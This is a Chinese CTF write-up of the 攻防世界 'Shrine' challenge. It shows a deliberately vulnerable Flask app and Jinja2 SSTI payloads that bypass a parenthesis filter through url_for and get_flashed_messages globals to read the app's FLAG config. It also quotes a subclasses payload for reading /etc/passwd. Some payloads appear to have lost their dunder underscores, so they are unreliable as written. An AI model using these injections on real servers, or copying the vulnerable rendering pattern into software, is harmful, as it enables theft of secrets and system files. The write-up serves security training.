[CTF]攻防世界:Shrin(SSTI)

题目:攻防世界:Shrin(SSTI)

提示:题目代码

bash 复制代码
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)
  1. /shrine/路由接收任意路径参数
  2. render_template_string()直接渲染用户输入
  3. 过滤机制:()被删除,config和self变量被设为None
  4. 无法使用 subclasses()、popen() 等带括号的函数
bash 复制代码
无法使用
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

步骤

1. 利用Flask全局函数访问current_app

Payload: /shrine/{{url_for.globals['current_app'].config.FLAG}}

原理:

url_for 是Flask内置全局函数,无需括号即可访问__globals__ 获取函数的全局变量字典(无括号)current_app

指向当前的Flask应用实例app 通过 current_app.config 访问被"隐藏"的配置

2. 利用get_flashed_messages

替代Payload:

/shrine/{{get_flashed_messages.globals['current_app'].config['FLAG']}}

原理:与url_for类似,利用另一个Flask全局函数绕过限制。

相关推荐
AIGC设计所12 小时前
网络安全8大就业领域和待遇对比!
运维·开发语言·网络·安全·web安全·php
网安薯条12 小时前
Kali Linux 虚拟机安装与基础配置保姆级图文教程
linux·运维·网络·安全·web安全·网络安全
YaBingSec14 小时前
网络安全靶场WP:Grafana 任意文件读取漏洞(CVE-2021-43798)
android·笔记·安全·web安全·ssh·grafana
m0_7381207216 小时前
Webshell流量分析——常见扫描器AWVS,goby,xray流量特征分析
服务器·前端·安全·web安全·网络安全
Aision_2 天前
为什么 CTI 场景需要知识图谱?
人工智能·python·安全·web安全·langchain·prompt·知识图谱
HackTwoHub2 天前
全新 AI 赋能网安平台 基于 Mitmproxy 流量分析自动化资产挖、轻量化综合渗透工具箱
人工智能·web安全·网络安全·系统安全·安全架构·sql注入
HackTwoHub2 天前
Linux 内核史诗级本地提权 全网深度复现、原理完整分析( CVE-2026-31431)
linux·运维·安全·web安全·网络安全·代码审计·安全架构
X7x52 天前
筑牢网络安全防线:Web应用防火墙(WAF)全面解析
web安全·网络安全·安全架构·waf
Chengbei113 天前
AI大模型网关存在SQL注入、影响版本LiteLLM 1.81.16~1.83.7(CVE-2026-42208)
数据库·人工智能·sql·安全·web安全·网络安全·系统安全
HackTwoHub3 天前
开源AI渗透测试的终极形态,让渗透测试进入“自动驾驶“时代、让渗透测试全自动!
人工智能·web安全·网络安全·开源·系统安全·安全架构·sql注入